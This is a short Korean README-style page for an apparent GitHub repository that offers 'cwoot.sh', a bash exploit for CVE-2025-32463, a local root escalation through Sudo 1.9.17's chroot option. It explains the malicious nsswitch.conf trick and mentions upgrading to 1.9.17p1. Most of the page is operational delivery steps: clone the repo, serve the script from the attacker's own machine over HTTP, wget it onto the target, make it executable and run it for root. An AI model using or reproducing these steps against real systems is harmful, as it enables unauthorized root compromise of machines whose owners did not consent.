
Bash 익스플로잇 스크립트 for CVE-2025-32463, Sudo 1.9.17의 chroot 옵션을 통한 로컬 권한 상승 취약점으로, 영향을 받는 시스템에서 루트 액세스를 가능하게 합니다.
Sudo 버전 1.9.17에는 chroot 옵션을 악용하여 로컬 사용자가 루트 액세스 권한을 얻을 수 있는 심각한 취약점(CVE-2025-32463)이 있으며, 이는 심각한 보안 위험을 초래할 수 있습니다. 이 문제를 완화하려면 버전 1.9.17p1 이상으로 업데이트하는 것이 좋습니다.
Sudo 1.9.17 취약점 개요:-
Sudo 버전 1.9.17의 취약점(CVE-2025-32463)은 로컬 사용자가 루트 액세스 권한을 얻을 수 있는 심각한 결함입니다. 이 문제는 Sudo가 프로세스를 격리하기 위해 루트 디렉터리를 변경하는 --chroot(-R) 옵션을 처리하는 방식의 변경에서 발생합니다.
취약점 작동 방식:-
경로 해석 문제: 1.9.14~1.9.17 버전에서 Sudo는 사용자 권한을 확인하기 전에 --chroot 옵션을 평가합니다. 이로 인해 공격자가 환경을 제어하고 악성 라이브러리를 로드할 수 있습니다.
악용 단계:
공격자는 자신이 제어하는 디렉터리에 악성 nsswitch.conf 파일을 생성합니다. 공격자는 -R 옵션과 함께 Sudo를 실행하여 Sudo가 공격자의 구성 및 라이브러리를 로드하게 만들고 루트 액세스 권한을 얻습니다.
저는 실행 후 직접적으로 루트 사용자로 권한을 상승시키는 bash 스크립트 "cwoot.sh"를 만들었습니다.
다음을 수행하십시오:
저장소에서 스크립트 다운로드: git clone https://github.com/justjoeyking/CVE-2025-32463.git
자신의 컴퓨터에서 : python3 -m http.server 8080
대상 컴퓨터에서 : wget http://<own_IP_address>:8080/cwoot.sh
대상 컴퓨터에서 : chmod 755 cwoot.sh
대상 컴퓨터에서 스크립트 실행 : ./cwoot.sh